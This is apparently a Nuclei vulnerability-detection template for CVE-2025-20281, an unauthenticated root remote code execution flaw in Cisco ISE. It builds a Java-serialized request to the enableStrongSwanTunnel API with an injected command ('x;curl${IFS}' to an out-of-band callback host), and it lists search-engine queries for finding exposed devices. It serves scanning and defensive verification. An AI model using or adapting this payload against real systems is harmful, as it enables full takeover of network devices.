id: CVE-2025-20281

info:
  name: Cisco ISE - Remote Code Execution
  author: daffainfo
  severity: critical
  description: |
    A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code as root, leading to full system compromise.
  remediation: |
    Update to the latest available version.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6
    - https://www.zerodayinitiative.com/blog/2025/7/24/cve-2025-20281-cisco-ise-api-unauthenticated-remote-code-execution-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-20281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-20281
    epss-score: 0.96732
    epss-percentile: 0.99882
    cwe-id: CWE-287
    cpe: cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: identity_services_engine
    shodan-query: '"Set-Cookie: APPSESSIONID=" "Path=/admin"'
    fofa-query: title="identity services engine"
    google-query: intitle:"identity services engine"
  tags: cve,cve2025,cisco,cisco-ise,rce,kev,vkev,oast,oob,vuln

variables:
  cmd: 'x;curl${IFS}http://{{interactsh-url}}'
  serialized_str: '{{concat(hex_decode("aced0005757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000027400"), hex_decode(dec_to_hex(len(cmd))), cmd, hex_decode("740000"))}}'

http:
  - raw:
      - |
        POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
        Host: {{Hostname}}

        {{serialized_str}}

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'http')"
          - 'status_code == 200'
          - 'len(body)==2'
        condition: and
# digest: 4a0a0047304502203edd97030b604e1543cb64c384f50bf57e1bcebea4378c46952f775f27768c52022100aca2e9de0620521431bfedfef5aaa1aa71d89ab2219a9a65ba81c73ea0905b00:922c64590222798bb761d5b6d8e72950